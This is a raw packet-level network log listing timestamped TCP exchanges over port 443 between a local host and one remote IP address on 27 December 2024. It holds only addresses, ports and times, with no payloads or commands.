Dec 27, 2024 10:21:54.629676104 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.629739046 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.629755020 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.629803896 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.634907007 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.634932995 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.634983063 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.635004997 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.635026932 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.635061979 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.796606064 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.796624899 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.796828985 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.796847105 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.796906948 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.802572966 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.802588940 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.802789927 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.802804947 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.802856922 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.807879925 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.807908058 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.807974100 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.807987928 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.808039904 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.813744068 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.813759089 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.813832998 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.813847065 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.813896894 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.819737911 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.819753885 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.819829941 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.819854021 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.819912910 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.825330973 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.825346947 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.825417042 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.825432062 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.825474977 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.831335068 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.831350088 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.831423998 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.831438065 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.834589958 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.836590052 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.836606026 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.836684942 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.836699009 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.838747025 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.998307943 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.998327017 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.998512030 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.998529911 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.998588085 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.003479004 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.003496885 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.003581047 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.003597975 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.006269932 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.009438992 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.009468079 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.009514093 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.009529114 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.009573936 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.009573936 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.015420914 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.015435934 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.015508890 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.015538931 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.018197060 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.020694017 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.020709038 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.020778894 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.020793915 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.022257090 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.025295973 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.025369883 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.025376081 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.025402069 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.025425911 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.031306982 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.031326056 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.031368971 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.031394958 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.031436920 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.036592960 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.036606073 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.036657095 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.036674976 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.089493990 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.198589087 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.198611021 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.198884010 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.198900938 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.198956966 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.204065084 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.204081059 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.204129934 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.204145908 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.204173088 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.204195976 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.209712982 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.209731102 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.209785938 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.209800959 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.210408926 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.217612028 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.217628956 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.217694998 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.217724085 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.218224049 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.221746922 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.221762896 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.221829891 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.221851110 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.222382069 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.227226019 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.227241039 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.227298021 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.227307081 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.228108883 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.233237028 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.233253002 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.233308077 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.233319998 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.234025955 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.239062071 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.239075899 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.239140034 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.239150047 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.239936113 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.399468899 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.399488926 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.399784088 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.399854898 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.402168036 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.405468941 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.405483961 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.405570030 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.405586958 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.406261921 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.411371946 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.411387920 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.411475897 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.411494017 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.413398027 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.417332888 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.417349100 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.417459965 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.417476892 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.417714119 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.422600031 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.422614098 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.422686100 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.422713041 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.423149109 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.428198099 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.428212881 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.428296089 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.428312063 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.429215908 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.434216022 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.434232950 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.434309959 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.434339046 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.435107946 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.440084934 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.440103054 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.440973997 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.440994978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.441065073 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.601006031 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.601027012 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.601226091 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.601243973 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.601310968 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.607022047 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.607038021 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.607116938 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.607131958 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.607933044 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.612818003 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.612832069 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.612907887 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.612920046 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.613734007 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.618855953 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.618870974 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.618952990 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.618967056 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.619756937 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.624119997 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.624135017 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.624209881 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.624222994 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.625093937 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.629690886 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.629704952 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.629780054 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.629793882 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.630645037 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.631386042 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.631444931 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.637290001 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.637304068 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.637371063 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.637386084 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.643331051 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.643353939 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.643399954 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.643430948 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.643456936 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.683238029 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.804210901 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.804229975 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.804461002 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.804483891 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.805572033 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.810105085 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.810120106 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.810194969 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.810210943 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.811058044 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.816128016 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.816143036 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.816215992 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.816246033 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.817073107 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.821448088 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.821465015 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.821542978 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.821558952 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.822407007 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.827761889 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.827776909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.827861071 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.827877045 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.828142881 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.833061934 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.833077908 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.833153963 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.833168030 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.833216906 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.838886023 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.838901997 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.838979959 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.838994980 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.839042902 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.844914913 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.844929934 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.845031977 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:55.845046997 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:55.845098972 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.005640984 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.005659103 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.005785942 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.005836010 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.005891085 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.011831045 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.011847019 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.011919022 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.011934042 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.011985064 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.017616987 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.017632008 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.017702103 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.017715931 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.017761946 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.022890091 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.022906065 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.022988081 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.023001909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.023052931 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.029145002 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.029160023 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.029238939 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.029253960 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.029304028 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.034421921 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.034435987 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.034521103 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.034537077 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.034586906 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.040433884 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.040448904 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.040528059 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.040555954 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.040601015 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.046358109 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.046372890 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.046458006 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.046473026 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.046525002 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.207192898 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.207211018 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.207346916 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.207376957 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.207432985 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.213190079 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.213206053 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.213293076 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.213308096 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.213363886 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.219105005 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.219120026 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.219193935 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.219208002 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.219259024 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.224328995 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.224344015 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.224409103 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.224440098 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.224488974 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.230314016 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.230333090 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.230393887 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.230408907 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.230474949 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.235912085 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.235927105 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.235996008 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.236011028 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.236057043 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.241978884 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.241995096 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.242058039 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.242072105 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.242130995 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.247832060 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.247847080 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.247915983 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.247930050 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.247980118 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.408612013 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.408628941 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.408726931 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.408765078 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.408821106 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.414560080 CET	443	49745	172.67.214.186	192.168.2.4
